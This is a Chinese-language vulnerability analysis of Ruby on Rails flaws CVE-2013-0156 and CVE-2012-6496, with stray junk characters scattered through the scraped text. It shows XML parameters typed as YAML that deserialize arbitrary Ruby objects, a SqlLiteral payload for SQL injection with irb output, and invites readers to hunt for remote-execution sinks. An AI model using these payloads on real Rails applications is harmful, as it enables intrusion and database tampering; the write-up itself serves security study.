Author: wofeiwo#80sec.com
5 f$ A* @/ s3 r$ R1 _0 i* [2 N3 j. u$ y: ]
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 + u# g7 M1 U4 I3 G
& |$ l4 k, i9 j' ~: M8 U. T$ _
近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. : O d, H6 H7 V G% P
% R1 L0 C! h- ]/ _CVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. * c: N0 C, M4 F# i" f/ F8 ~
: R( j- [# c0 |
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: . \; Y! ?3 a6 V* E# {" g$ n( Y
, q6 R: q0 u) j/ B" H
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: # P }- z8 [6 Y& L/ F
+ S }4 w1 F" f"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml. " B4 i( ?) C2 l. c2 I
% V" s6 Z. s4 ~% I: {: I2 Y! Y7 j
说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
* h/ k3 ~% D {( `( q7 v' _& N9 x0 A. i
然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
$ J+ x4 \0 N& N) u# X- |& `/ v, b Y" M/ @( D% I* O
但是等等,还有另一个参数类型,yaml。 0 W/ i( C# {, \% G8 b, c, p
7 H' q, j( j1 `' f/ }( zyaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。 % r' I/ C ^* Z0 f' B
7 Q h( s% g3 N' b7 P7 M9 {: }6 m+ i<test type="yaml">--- !ruby/object:A- m+ n. V% h) Y8 L/ S: w* L
aaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。
' ?! W: u4 o- J# X7 E! {' S* e, w3 q/ S" X
如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。 & M/ M5 X/ J; J% e- e) X5 D3 C( e* `
x& B) Z6 F2 u* ?; n% f0 X1 ~如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。
7 C( z6 @, s/ u& ? T* A/ v2 X2 g2 U5 x
一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
4 ~1 t7 ]1 v& D: F8 b7 E0 n4 U1 q4 m" P3 H& Y$ M
model.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
$ o# _. y! j- Z1 O6 G9 Y" S; `5 _ c+ W( m! T* ?" f) z5 @' B
<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
% P" v( x# C8 e( D: `5 y( F+ {1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。
/ \! f5 I$ e! g9 z+ F! ~3 C: B
irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。 2 C3 h& v) j$ k
7 }- v! H ?0 }" F m |